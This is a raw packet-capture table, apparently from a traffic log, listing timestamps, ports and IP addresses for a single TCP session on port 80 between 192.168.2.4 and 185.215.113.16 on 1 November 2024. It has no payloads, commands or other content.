Nov 1, 2024 08:51:37.627083063 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627105951 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627120972 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627125978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627142906 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627159119 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627160072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627180099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627202034 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627250910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627274990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627291918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627301931 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627307892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627321959 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627332926 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627336979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627348900 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627352953 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627372026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627374887 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627388954 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627393007 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627402067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627423048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627427101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627449036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627464056 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627485037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627511978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627532959 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627548933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627564907 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627567053 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627582073 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627588987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627598047 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627614021 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627621889 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627629995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627646923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627664089 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627670050 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627692938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627707005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627721071 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627722979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627741098 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627749920 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627759933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627775908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627777100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627777100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627791882 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627795935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627810955 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627815962 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627824068 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627835035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627851009 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627851009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627866030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627870083 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627888918 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627902031 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627907991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627923965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627939939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627952099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627954960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627973080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627983093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.627988100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.627994061 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628025055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628046036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628062010 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628077030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628086090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628110886 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628134012 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628149033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628173113 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628186941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628189087 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628202915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628207922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628220081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628236055 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628252983 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628263950 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628278017 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628293037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628312111 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628317118 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628329039 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628334999 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628345013 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628365993 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628385067 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628421068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628437042 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628458023 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628462076 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628479004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628479958 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628508091 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628524065 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628551960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628568888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628588915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628596067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628604889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628606081 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628626108 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628626108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628637075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628663063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628731966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628747940 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628772020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628784895 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628787994 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628803015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628810883 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628827095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628839016 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628843069 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628865004 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628869057 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628885031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628895998 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628902912 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628905058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628925085 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628936052 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.628953934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.628990889 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.629019976 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.629034996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.629056931 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.629071951 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.654376984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.654400110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.654428959 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.654444933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.654642105 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.654723883 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.654745102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.654786110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.702481985 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.702502966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.702549934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.702598095 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.706451893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.706486940 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.706504107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.706535101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.706564903 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.747088909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.747123003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.747140884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.747160912 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.747186899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.750859976 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.750916958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.750932932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.750966072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.750984907 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751096964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751115084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751130104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751147032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751157045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751173019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751183987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751189947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751208067 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751220942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751235008 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751251936 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751267910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751269102 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751286030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751302958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751308918 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751343012 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751343012 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751461029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751487017 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751502037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751588106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751588106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751588106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751631975 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751648903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751665115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751672983 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751682997 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751737118 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751739025 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751739025 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751768112 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751784086 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751799107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751810074 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751815081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751825094 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751832962 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751853943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751894951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751909018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751910925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751934052 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751967907 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.751969099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.751985073 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752002001 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752006054 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752027035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752027988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752039909 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752054930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752065897 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752069950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752088070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752094984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752104998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752105951 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752129078 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752145052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752154112 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752161026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752177954 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752185106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752194881 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752198935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752212048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752217054 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752229929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752233982 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752248049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752250910 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752262115 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752289057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752321005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752343893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752358913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752377033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752383947 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752393961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752397060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752408028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752410889 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752424002 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752434015 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752443075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752448082 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752459049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752466917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752476931 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752481937 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752496958 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752509117 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752511978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752574921 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752590895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752609015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752615929 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752624989 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752626896 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752641916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752646923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752660990 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752681017 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752727032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752772093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752796888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752811909 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752814054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752830982 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752835989 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752847910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752850056 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752871037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752883911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752903938 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752921104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752938986 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752958059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752958059 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.752973080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752990007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.752998114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753006935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753011942 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753022909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753031969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753057957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753057957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753092051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753108978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753124952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753148079 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753160954 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753177881 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753194094 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753210068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753225088 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753233910 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753242016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753242970 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753257990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753264904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753276110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753297091 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753300905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753318071 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753334999 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753346920 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753349066 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.753360987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753379107 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.753396988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.778754950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.778775930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.778790951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:37.778817892 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:37.778848886 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044354916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044385910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044395924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044409990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044428110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044444084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044447899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044488907 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044497013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044501066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044537067 CET	57777	80	192.168.2.4	185.215.113.16
